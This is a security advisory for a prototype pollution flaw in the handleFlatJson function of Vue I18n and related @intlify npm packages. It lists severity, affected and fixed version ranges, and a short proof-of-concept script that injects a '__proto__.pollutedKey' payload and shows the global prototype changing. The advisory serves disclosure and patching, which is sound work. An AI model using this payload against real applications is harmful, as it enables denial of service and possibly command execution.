GHSA-p2ph-7g93-hw3m

Suggest an improvement
Source
https://github.com/advisories/GHSA-p2ph-7g93-hw3m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-p2ph-7g93-hw3m/GHSA-p2ph-7g93-hw3m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-p2ph-7g93-hw3m
Aliases
Related
Published
2025-03-07T15:58:24Z
Modified
2025-03-07T19:16:45Z
Severity
  • 8.9 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
Vue I18n Allows Prototype Pollution in `handleFlatJson`
Details

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();
Database specific
{
    "nvd_published_at": "2025-03-07T16:15:39Z",
    "cwe_ids": [
        "CWE-1321"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-07T15:58:24Z"
}
References

Affected packages

npm / @intlify/message-resolver

Package

Name
@intlify/message-resolver
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/message-resolver

Affected ranges

Type
SEMVER
Events
Introduced
9.1.0
Fixed
9.1.11

npm / @intlify/vue-i18n-core

Package

Name
@intlify/vue-i18n-core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/vue-i18n-core

Affected ranges

Type
SEMVER
Events
Introduced
9.2.0
Fixed
9.14.3

npm / petite-vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0
Fixed
10.0.6

npm / vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
9.1.0
Fixed
9.14.3

npm / @intlify/core-base

Package

Name
@intlify/core-base
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/core-base

Affected ranges

Type
SEMVER
Events
Introduced
9.1.0
Fixed
9.1.11

npm / @intlify/core

Package

Name
@intlify/core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/core

Affected ranges

Type
SEMVER
Events
Introduced
9.1.0
Fixed
9.1.11

npm / @intlify/vue-i18n-core

Package

Name
@intlify/vue-i18n-core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/vue-i18n-core

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0-alpha.1
Fixed
11.1.2

Database specific

{
    "last_known_affected_version_range": "< 10.0.6"
}

npm / @intlify/vue-i18n-core

Package

Name
@intlify/vue-i18n-core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/vue-i18n-core

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0-beta.0
Fixed
11.1.2

npm / petite-vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0-beta.0
Fixed
11.1.2

npm / vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0-alpha.1
Fixed
10.0.6

npm / vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0-beta.0
Fixed
11.1.2